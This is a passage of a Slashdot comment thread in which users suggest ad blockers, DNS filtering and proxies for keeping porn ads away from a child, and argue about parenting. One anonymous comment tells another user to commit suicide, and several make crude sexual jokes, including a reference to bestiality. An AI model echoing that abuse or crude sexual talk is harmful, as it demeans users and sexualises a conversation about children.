      If I were God, wouldn't I protect my churches from acts of me?
    4. Re:What Filters Are Right For Kids? by bpfinn · · Score: 2, Insightful

      Sure they are. It's just a Bayesian classifier. It needs to be trained.

    5. Re:What Filters Are Right For Kids? by mcgrew · · Score: 1

      Right, like an eight year old supposed to use their 133t fighting sk1LLz when a fifteen year old tries to kick their ass.

      There are thinks one shouldn't see until you're old enough. The parent should decide what the kid should and shouldn't see; it's his/her job to raise the kid right.

      Your tack is to just let the kid do and see anything (s)he wants. Sorry, my generation tried that and look how yours turned out. Would you really want your five year old to see the Texas Chainsaw Massacre? If so, that's your call. I'd consider it child abuse, but your kid is your own business, not mine -- until he's incarcerated and I have to pay for it.

    6. Re:What Filters Are Right For Kids? by Anonymous Coward · · Score: 0

      ssh into her brain...

      The first step is the hardest: figuring out how to get inside a teenage girl's head.

    7. Re:What Filters Are Right For Kids? by flaming+error · · Score: 1

      > Your tack is to just let the kid do and see anything (s)he wants.

      No, my tack is to teach my kids about my principles and ethics, about advertisements and scams, and give my general advice to them. I'd love to be with them 24/7, but I'm not. So I do my best to teach them how to stay out of trouble, supervise them when I'm around, and teach them that they can make good judgments when they're on their own.

    8. Re:What Filters Are Right For Kids? by LateArthurDent · · Score: 1

      Your tack is to just let the kid do and see anything (s)he wants...Would you really want your five year old to see the Texas Chainsaw Massacre?

      No five year-old wants to see Texas Chainsaw Massacre. They ask to see things like Blue's Clues and the latest Pixar movie. If you plop your kid in front of a horror movie instead, you're a being a bad parent. When the kids want to see a violent movie and ask for it, that's the sign they're old enough, or at least close to ready (they might give up half way through and have nightmares, at which point they'll stop asking to see violent movies for a while longer).

      our tack is to just let the kid do and see anything (s)he wants. Sorry, my generation tried that and look how yours turned out.

      The same in some ways, better in all the others? We're wealthier, we're happier, we have better technology.

      P.S.: Don't bring up the economy in an attempt to say we're not wealthier. This isn't our first economic depression, it won't be the last, and it was mostly caused by your generation...the people actually in charge of management in companies like AIG. Not that my generation won't make the same mistakes. We get wealthier, we improve our technology and quality of life, all of that makes us happier...but we all remain human with all the flaws that come with it.

    9. Re:What Filters Are Right For Kids? by mcgrew · · Score: 1

      That's just good parenting.

    10. Re:What Filters Are Right For Kids? by Anonymous Coward · · Score: 0

      Pall Mall Filters!

  9. Privoxy by Psymin · · Score: 2

    If he wants a filter that is more difficult to bypass by the child, Privoxy is pretty handy.

    1. Re:Privoxy by LateArthurDent · · Score: 3, Informative

      If he wants a filter that is more difficult to bypass by the child, Privoxy is pretty handy.

      Well, he specifically said he doesn't. He said he "believes in letting kids discover the world as it is" and that it's not fair for porn advertisers to display sex "without her permission," he didn't say his. I think that means he wants her to be able to bypass it if she wants to, but doesn't want her to be exposed to things she's not specifically looking for.

      Pretty reasonable stance, and I think adblock is the way to go.

    2. Re:Privoxy by Joe+Tie. · · Score: 2, Funny

      And if she does change it, hey, she just learned an important lesson about proxies.

      --
      Everything will be taken away from you.
    3. Re:Privoxy by wintermute1974 · · Score: 1

      Privoxy is powerful, but it's easy to bypass. In a home setting, point your web browser directly to the web instead of pointing it to the proxy.

    4. Re:Privoxy by UncleTogie · · Score: 2, Funny

      My ex keeps trying various filtering software to keep my eldest son {age 14} from viewing porn... with pretty predictable results. One Google search for a workaround, and he's back in business.

      I was more than amused when she tried to complain to me. "Gee, son, follow the rules" was what came out of my mouth, although I couldn't keep from smiling. "Way to figure it out and disable it so you can see what you're so curious about!" was what was going through my mind, though.

      Heck, when I was his age, I was hip-deep in porn mags at my friend's house. I can't blame him for hormones.

      --
      Don't tell me to get a life. I'm a gamer; I have LOTS of lives!
    5. Re:Privoxy by geminidomino · · Score: 1

      Combine it with an egress rule in the router (I'm pretty sure even the cheapo linksys crappers do that these days) so that it only lets the proxy out. If Jr. thinks he's being clever, he gets nothing. (Not impossible to get around by any means, but blocks the "unset the proxy" workaround)

    6. Re:Privoxy by Anonymous Coward · · Score: 0

      ...mmmmmm, the 'Pulse of Awakening'.

      Thats what I feel whenever I bypass a proxy to look at porn.

    7. Re:Privoxy by sonamchauhan · · Score: 1

      > that it's not fair for porn advertisers to display sex "without her permission,"
      > he didn't say his.

      Where did the 'without her dad's permission' bit disappear?

      Poor kid.

    8. Re:Privoxy by Anonymous Coward · · Score: 0

      I agree. Heck, I'm an adult woman, and I even have an adblocker set up so I don't have to see porn ads because I find them both distasteful and annoying. Plus, if you turn 'SafeSearch' in Google on, that goes a long way... but nothing's 100% safe, even from my ultra-restricted high school internet, we'd get explicit photos from searching the most innocent terms on Google images for an art project.

    9. Re:Privoxy by Fifth+Earth · · Score: 1

      Agreed. Use a good popup and script blocker, and install adblock and show her how to use it so she can block images and things if she wants to. You may want to do a little surfing on the seedier websites and seed adblock with any major porn advertisers yourself, if you like.

      Anything she sees beyond that point will be because of a deliberate action on her part, i.e. clicking on a link.

  10. How about.... by Groo+Wanderer · · Score: 0, Troll

    You. Yes you. You are the best filter for your kids. Keep them close when they are surfing, and educate them as to what is right and what is wrong.

    Don't abdicate your parental responsibilities to a glorified script, do the work. You had the kid(s), you need to take responsibility. If you are going to allow them to use the net, you have to police it.

    If you don't, things will lead to heavy metal music, video games, then mass murder, the choice is yours. (yes, that was sarcasm)

    Seriously though, live up to your responsibilities, and you AND your child will be better off. No filter can or will do this, nor will it answer questions and educate.

                  -Charlie

    1. Re:How about.... by Nick+Ives · · Score: 4, Insightful

      He's just looking for an ad filter, he's clearly stated that he doesn't want to censor the internet.

      Good for him too, I started online at the age of twelve in 94' (NCSA Mosiac FTW!) and eventually figured out how to setup a USEnet client. Abpe.* and all its life lessons (women do that with horses??) followed. I made a bit of money by selling those lessons on floppy disk at school too, it was a step above the random porn mags that seem to litter all the woods in this country!

      --
      Nick
    2. Re:How about.... by ojintoad · · Score: 5, Insightful

      A parent asking for advice about filtering software by no means implies that they are not living up to their responsibilities and your entire post presuming such is in bad taste.

    3. Re:How about.... by Itninja · · Score: 1

      Good advice to be sure. But all it takes is one stray zootube video of a horse forcibly sodomizing a teenage girl to scar her for life. At least use a filter to cull out the really creppy stuff.

      --
      I judt got a nre Kinesis keybiartf so please excusr ant egregiou typos.
    4. Re:How about.... by orkybash · · Score: 1

      Good advice, but did you read TFA? He's looking for a way to stop accidental exposure, he wants her looking at porn *on her own terms*, which is quite a bit different from not wanting her to look at porn at all.

    5. Re:How about.... by Nick+Ives · · Score: 1

      Yea, I'm not a parent but when I am I'll only want my daughters looking at the highest quality pancakes.

      --
      Nick
    6. Re:How about.... by Anonymous Coward · · Score: 0

      Are you for real? Are you actually suggesting a parent to sit and hawk over his child every waking minute she spends online? Should he go with her to the toilet too to check that she doesn't masturbate? Commit suicide, seriously. You are a horror and your children will be traumatized by you.

    7. Re:How about.... by zenderbender · · Score: 1

      Man would you make a crappy parent. Sitting by your child's side at all times when they are on the computer. As a parent I give my kids freedom to explore without me hanging over their shoulder all the time. That's not to say I don't have limits for them, and keep an eye on them. The OP sounds like he has good options for his daughter. He trusts her and gives her freedom, but is trying to stop unwanted porn. Sounds to me like he's trying to find a very good option. I'm just sorry I can't help other then to suggest Adblock as it does a pretty good job.

    8. Re:How about.... by Mr.+Slippery · · Score: 1

      he wants her looking at porn *on her own terms*

      How do you manage to be forced to look at internet porn on anyone else's terms? If you're running a broswer insecure enough to have porn forced on it, you're running a broswer insecure enough to have any amount of malware or phishing forced on it. For that reason, whether you have a kid or not, you need to be running NoScript and Adblock Plus.

      Once your browser is secure, you won't be introduced to content you don't seek out.

      --
      Tom Swiss | the infamous tms | my blog
      You cannot wash away blood with blood
    9. Re:How about.... by novalis112 · · Score: 5, Insightful

      Mod parent up!

      A parents job is not to shadow their children around 24x7 for the first 18 years of their life, that is just absurd, and part of the general "paranoia" that our culture seems to be cultivating right now.

      A parents job is to establish a safe environment in which their children can grow up in, and learn how to be an adult in.

    10. Re:How about.... by Lumpy · · Score: 2, Informative

      Privoxy. http://www.privoxy.org/

      Solves all the problems with accidental advertising porn.

      --
      Do not look at laser with remaining good eye.
    11. Re:How about.... by shawn(at)fsu · · Score: 1

      So this is the part of the thread that talks about how parents need to stop looking for easy ways out that surely gets the +5 insightful. This camp is becoming just as bad as the Wont some one please think of the children camp.

      Give the man a break, all he wants is for some stuff not to show up how is that being irresponsible and also how is him sitting there with his daughter going to prevent a popup? Do you really think he should have to explain the pros and cons of a movie involving girls and a cup at an young age?

      --
      500 dollar reward for tip(s) leading to the arrest of the person(s) who stole my sig.
    12. Re:How about.... by Shakrai · · Score: 1

      I made a bit of money by selling those lessons on floppy disk at school too

      You amateur. Real geeks made that money by setting up a BBS and charging for access ;) If you were getting stuffed into the locker you could also find a bigger guy than the one doing the stuffing and give him a free account. Worked every time. Not that I'm speaking from experience or anything ;)

      --
      I want peace on earth and goodwill toward man.
      We are the United States Government! We don't do that sort of thing.
    13. Re:How about.... by Tuoqui · · Score: 1

      You cant control your kids 100%. If kids want to they'll just evade your filters by going to one of their friends houses who don't have filters installed.

      This is trying to find a technical solution to a social problem. The solution is to put the computer in a public room in your house. Not in their bedroom where they can go wherever with the door closed all day long. Educate your children and let them know you dont approve of them browsing for porn.

      --
      09F911029D74E35BD84156C5635688C0
      +2 Troll is Slashdot's way of saying groupthink is confused
    14. Re:How about.... by S77IM · · Score: 1

      Do you expect him to sit next to his daughter and look over her shoulder constantly whenever she uses the Internet? That's not really a practical solution for most people.

      To make a crude analogy (a Slashdot tradition!) your suggestion sounds like, "It's not a problem that the local Children's Library shares floor space with Big Rick's SexXx-o-rama Newsstand. It's your responsibility as a parent to stay close to your kids and educate them about what is right and what is wrong."

        -- 77IM

      --
      Student: Is it true that the foundation of the universe is paradox?
      Master: Well, yes and no.
    15. Re:How about.... by sorak · · Score: 2, Insightful

      Why is it such a strong meme in the slashdot community that it is ok for an adult to use adblock to protect him or her from obtrusive advertisements, but doing the same thing for a child is either censorship or abdicating parental responsibility?

      I'm not saying that children should live in a perfectly sanitized world, but there are only so many times that you can say "That's a porn site, dear, just ignore it", before you want to install adblock.

    16. Re:How about.... by Fished · · Score: 5, Insightful

      It's this funny thing about being a parent... you see, you have other things to do than be your child's content censor all day long. I'm a single father of four, and I also have to do things like cook dinner, help my other children with their homework, clean, go to the bathroom, etc. etc. If I were to attempt to monitor my children's Internet usage like you demand, they would get to use the Internet... oh, around 15 minutes a week. Maybe.

      Now, maybe in some elevated sense of the word I "ought" to be able to watch each of my four children like a hawk, all the time. But I can't, and a bit of content filtering allows my kids to get the benefits of Internet access without me having to be a content Nazi.

      (And before you criticize me for having four children, originally my wife was a stay-at-home mother, but she died of cancer. So frankly if you want to blame me for having too many kids you can go to hell. There is something sick about a society that insists on a level of public depravity that makes it impossible for parents to have enough children to even maintain its population.)

      --
      "He who would learn astronomy, and other recondite arts, let him go elsewhere. " -- John Calvin, commenting on Genesis 1
    17. Re:How about.... by Anonymous Coward · · Score: 0

      Give me a break... You can't always be there to police it so the next best thing is to filter it as best as you can. I use Squid and do the filtering myself as my child gets home a couple hours before I do and needs the computer to do homework (mathtag). Filtering also acts as a tool to see if child is actively looking for pron.

    18. Re:How about.... by TheTurtlesMoves · · Score: 1

      QFT

      No matter what you do they will see porn. And guess what, thats ok it wont damage them in anyway if they can talk about it "safely". Don't go off the handle at them, they didn't do anything wrong. Just explain the reality's of life as best you can.

      I got lucky, my daughter is conformable talking to me about that sort of thing.

      --
      The Grey Goo disaster happened 3 billion years ago. This rock is covered in self replicating machines!
    19. Re:How about.... by marsu_k · · Score: 1

      ...am I the only one who thought "Zootube? Haven't heard of that one yet" and subsequently tried googling it?

    20. Re:How about.... by jonaskoelker · · Score: 1

      What's the e for? The rest is for alt.binaries.porn, right? ;-)

    21. Re:How about.... by Nick+Ives · · Score: 1

      alt.binaries.porn? I haven't been on USEnet in years but in my day it was alt.binaries.pictures.erotica that had all the good stuff. I suppose those groups aren't really suited for films but I do recall some cross-posting of short, low resolution MPEGs and QuickTimes around the time Pentium's started to become popular.

      I had a hardware (and hard-wearing!) MPEG decoder back in the day and so would occasionally sample those, over a 33.6kbps modem no less! That was all my local PoP supported, it was ages until I had 56k access.

      --
      Nick
    22. Re:How about.... by sheph · · Score: 1

      While it's true you can't shadow them 24/7, you also can't just leave them to their own devices. I saw plenty of kids that were raised this way, and the results were not what I would call positive. If you instill a strong understanding of right and wrong, and a healthy fear of undesirable reprocussions from an early age you'll be far ahead of the game. You won't have to worry (as much) about the impending knock on the door when you're kid hasn't be around for several days. My perspective growing up was that you don't do anything that's going to hurt someone else (getting a girl pregnent falls into this category), don't take / damage anything that isn't yours, and don't do anything that would cause the police to bring you home (or worse yet keep you). Does that mean the I never did any of the above? Of course not, but I knew what the consequences would be. That aided in making decisions that prevented me from getting in to really serious trouble. There's a balance to be struck.

      Filtering software isn't going to keep them from seeing porn. What it will do is keep them from stumbling across it accidentally. I use ISA server with a white list for my kids. Call it due dilligence.

      --
      I don't believe in karma, I just call it like I see it.
    23. Re:How about.... by clone53421 · · Score: 1

      If you're running a broswer insecure enough to have porn forced on it, you're running a broswer insecure enough to have any amount of malware or phishing forced on it.

      No. Ads and popups are not security threats. They're nuisances.

      --
      Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
    24. Re:How about.... by Mr.+Slippery · · Score: 1

      Ads and popups are not security threats. They're nuisances.

      If you're subject to popups, you're susceptible to phishing. If you're subject to Flash-based ads, you've got a security hole. If you're getting cookies from ads, you've got a security hole.

      --
      Tom Swiss | the infamous tms | my blog
      You cannot wash away blood with blood
    25. Re:How about.... by couchslug · · Score: 1

      "it was a step above the random porn mags that seem to litter all the woods in this country!"

      Where is it YOU go hiking?

      --
      "This post is an artistic work of fiction and falsehood. Only a fool would take anything posted here as fact."
    26. Re:How about.... by Anonymous Coward · · Score: 0

      There is something sick about a society that insists on a level of public depravity that makes it impossible for parents to have enough children to even maintain its population.

      I hate to take a post off-topic, but that is so dead on it deserves a salute.

    27. Re:How about.... by Nick+Ives · · Score: 1

      I think most man in the UK can remember finding a porn mag in a wooded area as a teenager, it's a fairly standard right of passage. I remember there were some in some trees near a friends house and I recall that they sometimes appeared in the trees at the back of our school playing field. We used sticks to turn the pages, obviously.

      It probably doesn't happen as much any more as kids send porn they've downloaded to each other via bluetooth on their phones - sometimes even to random strangers on the bus (personal experience).

      --
      Nick
    28. Re:How about.... by blueskies · · Score: 1

      uh, they are taking responsibility. That's the whole reason they asked, "what can i do to help protect my child." Not what can i do to get the gov't to protect my child.

      I guess you are against training wheels on a bike too?

    29. Re:How about.... by blueskies · · Score: 1

      b/c adblock knows how to block stuff proactively and websites never get defaced....

    30. Re:How about.... by logicnazi · · Score: 1

      This isn't *really* about keeping them totally ignorant about porn. It's mostly about avoiding conversations and discussions that most parents find awkward and, while not harmful, are not yet necessary either.

      Also it won't be too long before your daughter isn't so comfortable talking to you about it. If she is now. The moment sex moves from an academic topic to a matter of (intense) curiosity children start feeling uncomfortable talking about it with their parents.

      You might want to deny it but it's part of our natural aversion to incest. When you are talking about something you find boring (or gross) it's no big deal but if you find the topic/picture/whatever sexually exciting it feels weird to share it with your parents. If you don't believe me see how you feel describing your reaction to the last host porn clip you saw to your parents.

      Usually what happens is that kids continue to abstractly discuss the issue with their parents (yes, I know that blah blah blah about sex) but the things they actually find intriguing don't get brought up.

      --

      If you liked this thought maybe you would find my blog nice too:

    31. Re:How about.... by clone53421 · · Score: 1

      If you're subject to popups, you're susceptible to phishing

      Yes, and if people can talk to you, you're susceptible to social engineering.

      If you're subject to Flash-based ads, you've got a security hole

      Which was patched, according to the second result. New media format exploit? Hardly news. Last it was PDFs, and before that, it was MP3s, WM*, I could go on...

      If you're getting cookies from ads, you've got a security hole

      Privacy !== security.

      Which is all to say, ads and popups are nuisances, and certain risks are nearly unavoidable. Blocking them is a good idea, sure, but it's not the ads and popups that cause the security flaws, it's usually crappy code being exploited or social engineering.

      --
      Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
    32. Re:How about.... by Carrot007 · · Score: 1

      > I think most man in the UK can remember finding a porn mag in a wooded area as a teenager

      Indeed I think this is just one of life's little mysteries.

      However much like white dog shit it seems to have disappeared from the radar.

      Maybe it's all still around but we are to old to see it! Whoa SpookY!

      --
      +----------------- | What is the question!
    33. Re:How about.... by TheTurtlesMoves · · Score: 1

      These discussions where not abstract. Things like can you get STDs from a blowjob. She is now 17. I don't expect she will be not be living with us for much longer.

      --
      The Grey Goo disaster happened 3 billion years ago. This rock is covered in self replicating machines!
    34. Re:How about.... by Anonymous Coward · · Score: 0

      and a bit of content filtering allows my kids to get the benefits of Internet access without me having to be a content Nazi.

      Then the government/automated software program become the content Nazi for your children?

      I'd point them in the right directions, where they'll learn more, and explain to them anything they don't understand, without dumbing it down for them. Or you could baby them with filtered sites where they learn such vast knowledge as "the cow goes MOO" during a crucial stage of development.

  11. Real people are real ugly by Anonymous Coward · · Score: 2, Funny

    I suggest you filter all your daughter's internet queries through a time machine that leads to a not so distant past where "splash in her face" was not a part of the male collective consciousness.

  12. Use openDNS by sammy_cda · · Score: 5, Informative

    Use openDNS and set up an account. Point your router's DNS settings to their servers. It allows a few different levels of filtering. You can change the levels of filtering as she grows older.

    1. Re:Use openDNS by phillips321 · · Score: 2, Insightful

      If he's any good he will ensure that dns traffic can only goto opendns, then she wont be able to simply change the dns herself. More importantly, what happens when dad needs to use the computer? I'd rather let my daughter look at porn than block myself from looking at it as well!

    2. Re:Use openDNS by sammy_cda · · Score: 1

      I think you can use another DNS setting on an individual computer that will override the default router setting only on that computer.

    3. Re:Use openDNS by phillips321 · · Score: 1

      As i said, not if he's set up his router to only allow dns requests to goto opendns IPs.

    4. Re:Use openDNS by MrNougat · · Score: 1

      If the daughter has one computer and the dad the other, you should be able to restrict it so that DNS traffic is restricted outbound to OpenDNS only from the source IP of the daughter's machine, and is not restricted for the dad's machine.

      --
      Web 2.0 == Giant Blogspam Circle Jerk
    5. Re:Use openDNS by dirtyhippie · · Score: 1

      More importantly, what happens when dad needs to use the computer? I'd rather let my daughter look at porn than block myself from looking at it as well!

      Solid parenting.

    6. Re:Use openDNS by jopsen · · Score: 1

      That would be my advice too... Also as she gets older maybe just teach her about DNS and how to manage OpenDNS :)

    7. Re:Use openDNS by Minozake · · Score: 1

      Can't general anonymizers any Tor circumvent this, or am I mistaken?

      --
      http://sourcemage.org/ - Have fun :)
  13. DNS Filtering by evilgourmet · · Score: 1

    You could try OpenDNS to filter porn and adult sites.

  14. Adblock Plus by Anonymous Coward · · Score: 0

    Filter out the porn and non-porn ads alike. Two birds with one stone.

  15. Use Lynx as the browser by Anonymous Coward · · Score: 0

    If you want to block porn, or at least make it no fun, use Lynx as the browser. That is the browser I used when I was introduced to computers.

  16. Thanks by Banacek · · Score: 1

    I'm glad you posted this. I was wondering the same thing. I know there is http://dansguardian.org/ but I haven't talked to anyone who uses it. I know OSX has great built in security features, but XP leaves you out there on your own to buy something.

    1. Re:Thanks by bloosh · · Score: 1

      I use DansGuardian in a school setting. Works extremely well.

    2. Re:Thanks by Anonymous Coward · · Score: 0

      I've used dansguardian for exactly this reason for several years now, and it works perfectly. My kids complain to their friends about it, that's how good it is :-)

    3. Re:Thanks by sjaskow · · Score: 2, Informative

      I use dansguardian on Hardy Heron for filtering my daughter's access. I like the fact that I can adjust just what gets blocked as she gets older.

      However, I do believe the best filter is the one where parents practice that ago old filter of "No, you can't do that".

    4. Re:Thanks by Banacek · · Score: 1

      Nice. You know it's working if they're complaining about it :)

    5. Re:Thanks by Anonymous Coward · · Score: 0

      Dansguardian is sort of a hack, unless you have a central computer you use as a router for all of the others. It requires a proxy server, and a firewall running, its not that easy to configure, nor that intelligent of a filter.

      I do recommend F-Secure Internet Security, which has an optional internet filter. It seems to work the best on XP.

      My parents never even notice it. Just enabled it to see how good it was when people didn't know it was there. Many people ask me what works the best. That's it. There are always ways around filters, but they are a good second line of defense. First line being the users upbringing/self control.

    6. Re:Thanks by AJWM · · Score: 1

      Yep, I posted below about DansGuardian. Wonderful tool.

      It doesn't take much in the way of resources -- I have it (and Squid proxy) running on an old Pentium-166 with a mere 96MB RAM (and SuSE 9.3). Wouldn't surprise me if you could run it on a linux-based router.

      Sure, the "best" (qualitatively) filter is to watch over your kid's shoulder -- but with three kids (each with their own computer) and other things that need doing around the house, that's not always possible.

      One thing I might want (and I haven't even looked to see if it's possible) is a way to tailor the filtering to different IPs, so that for example my teenager gets a somewhat more relaxed set of rules than my two pre-teens. I suppose I could always run multiple instances on different ports, with the firewall redirecting as appropriate.

      --
      -- Alastair
  17. Adblock by Nick+Ives · · Score: 4, Insightful

    I never, ever see porn ads because I've got Adblock Plus installed in FF. If she prefers IE for some weird reason then just put an ad-filtering web-proxy on your network like Junkbuster.

    Redirect all outbound connection attempts on port 80 through your router to that proxy and you'll be good to go. That way she won't have porn ads splashed in her face but she'll still be able to Google for hot guys with SafeSearch turned off :).

    --
    Nick
  18. Open DNS by Anonymous Coward · · Score: 0

    Set your DNS server to open DNS. It blocks a lot of porn, phishing, .... I have it setup as the default from my router so it is not on the computer's settings. Go to
    http://www.opendns.com/

  19. "hot guys" should redirect to Slashdot by Anonymous Coward · · Score: 5, Funny

    That should scare her away for a couple of decades.

    1. Re:"hot guys" should redirect to Slashdot by mcgrew · · Score: 1

      For God's sake don't let her read my journals!

    2. Re:"hot guys" should redirect to Slashdot by Anonymous Coward · · Score: 0

      Steam pouring out of the closed shower stall.

      The sound of frantic scrubbing.

      "STILL. NOT. CLEEEEAN!"

    3. Re:"hot guys" should redirect to Slashdot by Anonymous Coward · · Score: 0

      Pics or it didn't happen.

  20. OpenDNS by jkupko · · Score: 4, Informative

    Just change your DNS servers to OpenDNS (http://www.opendns.com/) and register your IP with them. You can use their category-based filtering to block the pr0n. Block adware, malware, and phishing while you're at it. Oh, and enjoy a faster DNS service and extensive stats pages. If you are worried about a dynamic IP from your ISP, don't be: most ISP's preferentially reassign IPs to customers instead of switching it up. Happy censoring!

  21. She's a girl by BadAnalogyGuy · · Score: 2, Interesting

    Her interest in sex is pretty much limited to looking at cute guys in her class and in teen magazines.

    Girls aren't as affected by the visual stimulation from porn ads. At least not to the extent that boys are.

    She's not going to be any better off because you start filtering her internet. It's like wrestling a pig. It's dirty and tiresome and just pisses the pig off.

    1. Re:She's a girl by Anonymous Coward · · Score: 0

      It's like wrestling a pig. It's dirty and tiresome and just pisses the pig off.

      Terrible analogy as usual.

    2. Re:She's a girl by JustOK · · Score: 1

      No, its a bad analogy, guy. Try relating it to cars.

      --
      rewriting history since 2109
    3. Re:She's a girl by Anonymous Coward · · Score: 0

      ...I put on my robe and wizard hat.

    4. Re:She's a girl by Ragzouken · · Score: 1

      ...my mom got scared, she said "You're moving in with your auntie and uncle in Bel-Air!"

      I whistled for a cab and when it came near, the license plate said "Fresh" and it had dice in the mirror. If anything I could say that this cab was rare but thought "naw forget it. Yo holmes, to Bel-air!"

      I pulled up to the house about seven or eight and said to the cabbie "Yo holmes, smell ya later." Looked at my kingdom, I was finally there. To sit on my throne as the Prince of Bel-air.

    5. Re:She's a girl by Zerth · · Score: 1

      That's what I thought until the first time I found a girl's porn stash. Romance novels are beyond pornographic. Some of that shit isn't even physically possible.

    6. Re:She's a girl by Anonymous Coward · · Score: 0

      No, its a bad analogy, guy.

      I'm not your guy, buddy.

    7. Re:She's a girl by soren202 · · Score: 1

      It's like the awesome corvette you bought for $100 from an ad in the news paper. Sure, it seems attractive enough, but every time you fix it, something else will break.

  22. Google moderate safe search by StevenMaurer · · Score: 5, Insightful

    That seems reasonable enough. If your daughter isn't actually going looking for porn.

    If she is, you need to have a talk. Not porn=bad because that won't work. Rather: porn=unrealistic. And that she needs to understand that much of what she will see is the result of payment to foolish and desperate people.

    Oh, and build up her self-esteem. That is the critical factor in teen girls getting into situations they're not ready for.

    1. Re:Google moderate safe search by snowraver1 · · Score: 3, Insightful

      Oh, and build up her self-esteem. That is the critical factor in teen girls getting into situations they're not ready for.

      Seriously, IMO, this is the BEST thing that you can do for your daughter, regardless of what the problem is.

      --
      Copyright 2010. All rights reserved. This comment may not be copied in any way including, but not limited to caching.
    2. Re:Google moderate safe search by Alien54 · · Score: 1
      Oh, and build up her self-esteem. That is the critical factor in teen girls getting into situations they're not ready for.

      In this regard, get her something like a rubics cube (if she is interested in it). Just being able to do something the grownups can't does marvels for the self esteem.

      --
      "It is a greater offense to steal men's labor, than their clothes"
    3. Re:Google moderate safe search by scubamage · · Score: 3, Funny

      Porn is only unrealistic if you have a girlfriend who doesn't like porn. Now if you'll pardon me, I have a donkey and a midget waiting for me on the bondage rack.

    4. Re:Google moderate safe search by The+End+Of+Days · · Score: 1

      Porn=entertainment. Trying to play it off as something shady or bad or evil or whatever just marginalizes sexual feelings that are normal and natural.

      The self-esteem bit just makes me laugh, coming on the heels of trying to painting sex workers with the "foolish and desperate" brush. Not everyone fits your preconceptions.

    5. Re:Google moderate safe search by broken_chaos · · Score: 1

      "Foolish and desperate" may not be accurate (certainly not in all cases, anyway), but self-esteem is a valid concern. Low self-esteem can lead to people doing things they don't want to, or feeling like they have to do it, in order to be "accepted" somehow.

    6. Re:Google moderate safe search by morghanphoenix · · Score: 1

      My friends and I used to have MST3K style porn watching parties. That definatly takes the sexiness out of porn and highlights just how silly most of it is. Not that that would be a good idea for a kid, but directed at someof the adult responders to this. As far as kids go, adblock works for all of the accidental pop-ups, and if it's not accidental no ammount of filtering that leaves the internet truly usable will work to keep a determined kid from finding inapropriate content.

    7. Re:Google moderate safe search by nbates · · Score: 2, Interesting

      >I have a donkey and a midget waiting for me on the bondage rack.

      Which one is your girlfriend?

    8. Re:Google moderate safe search by FroMan · · Score: 0, Redundant

      So, um, which of the two is your girlfriend?

      --
      Norris/Palin 2012
      Fact: We deserve leaders who can kick your ass and field dress your carcass.
    9. Re:Google moderate safe search by scubamage · · Score: 1

      You missed the possibility that I am in fact said girlfriend :)

    10. Re:Google moderate safe search by Anonymous Coward · · Score: 1, Interesting

      When she gets older, she needs to know the difference between erotica and porn. More and more people have to start letting kids know that porn IS unrealistic. That those "girlfriends" and cars and bling in music videos are fake and that most of those posing and preening musicians will be glad to have ANY kind of work in music three years from now. That you don't solve problems by chasing people and firing guns or jumping from building to building. That a lot of women help each other out instead of playing catty competitive games with each others' heads.... in other words, media literacy. (I'm a somewhat well known writer of comic books and film scripts who gets a little ashamed of what some of my colleagues serve up. I'm proof, however, that one can make a living without dishing out that kind of crap or being boring and self-righteous. Dear consumers, please demand better. We writers CAN deliver, when encouraged.)

    11. Re:Google moderate safe search by Anonymous Coward · · Score: 0

      maybe not realistic for you buddy...

  23. White Filter by sycodon · · Score: 1

    They should only see what I want them to see. Now if I could only find one.

    --
    When Fascism comes to America, it will call itself Anti-Fascism, and tell you to give up your guns.
  24. adblock + living room by Jonas+Buyl · · Score: 2, Interesting

    Adblock for Firefox should keep out most of the unwanted ads. The best thing you can do is keep the computer in the living room but try and let her have as much privacy as possible.

  25. Mod parent down by Sowelu · · Score: 4, Insightful

    -1, totally missing the point. The OP specifically wants to let his kid explore. However, exploring kids are quite likely to wind up places THEY don't want to be, once they start looking around. I'm sure you can think of a few search terms that might give you relevant, useful information on Wikipedia...but that you might not ever want to type into GIS. Heck, my reading of the question was more like "How can I let her wander the internet ON HER OWN, going wherever she wants, without having to call me in to close a barrage of pop-up windows".

    1. Re:Mod parent down by PitaBred · · Score: 1

      When was the last time you got a popup on Firefox? I have yet to find a sites that won't let me hit the "back" button to get out of where I am, or pop up windows that don't allow me to close what I'm browsing, and I intentionally look for porn.

    2. Re:Mod parent down by Anonymous Coward · · Score: 0

      Actually, not that long ago.

      It was one of the spam-your-computer with never-ending popups until your browser fatally crashes ones, too.

      On Firefox. With popup blocker turned on. Don't know how it managed to do that, but I was pretty pissed.

      Especially since some of the tabs I had open, I wanted to get back. Took me 3 tries and a hosts edit and ipconfig /flushdns to get my session restored with the nasty page de-clawed. Just for good measure I added an adblock filter that would kill the <html> element of the site if I ever accidentally stumbled across it again.

      I'd have liked at least to have a "you have 50 windows open and a script is trying to open another window, do you want to allow this? no, and don't ask me again" prompt at some point...

    3. Re:Mod parent down by sootman · · Score: 1

      For those who are still missing, the point, ask yourself this: would you want someone you care about stumbling across goatse or GNAA?

      --
      Dear Slashdot: next time you want to mess with the site, add a rich-text editor for comments.
    4. Re:Mod parent down by jroysdon · · Score: 1

      NoScript is a nice extra safety net for Firefox. It is a bit of a pain on some sites, but if I trust the site I allow it permanently (banking, etc.), if I just want to read a news article I allow it temp. If a plugin/map/whatever still doesn't work on a page, I just allow all on page temp and it works.

    5. Re:Mod parent down by Anonymous Coward · · Score: 0

      What could come up on a Geographic Information System that would be offensive?

    6. Re:Mod parent down by Thinboy00 · · Score: 1

      I'd have liked at least to have a "you have 50 windows open and a script is trying to open another window, do you want to allow this? no, and don't ask me again" prompt at some point...

      If the popup blocker can't stop it, what makes you think the browser can?

      --
      $ make available
    7. Re:Mod parent down by Carrot007 · · Score: 1

      > For those who are still missing, the point, ask yourself this: would you want someone you care about stumbling across goatse or GNAA?

      Ohh I am sooooo tempted to send my mother a goatse link right now!! Must resist the temptation.

      Would make a nice mothers day (uk) present though?

      --
      +----------------- | What is the question!
    8. Re:Mod parent down by clone53421 · · Score: 1

      The browser knows how many windows or tabs are open and could easily keep track of how many were opened in some length of time.

      "Hmm, this looks legit, I think I'll let it open its popup" isn't the same as "Hmm, this looks legit, but hold on, it's the 10th legit-looking popup in the last second..."

      --
      Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
  26. None of us were filtered!! by SlappyBastard · · Score: 4, Insightful

    And we all turned out alright.

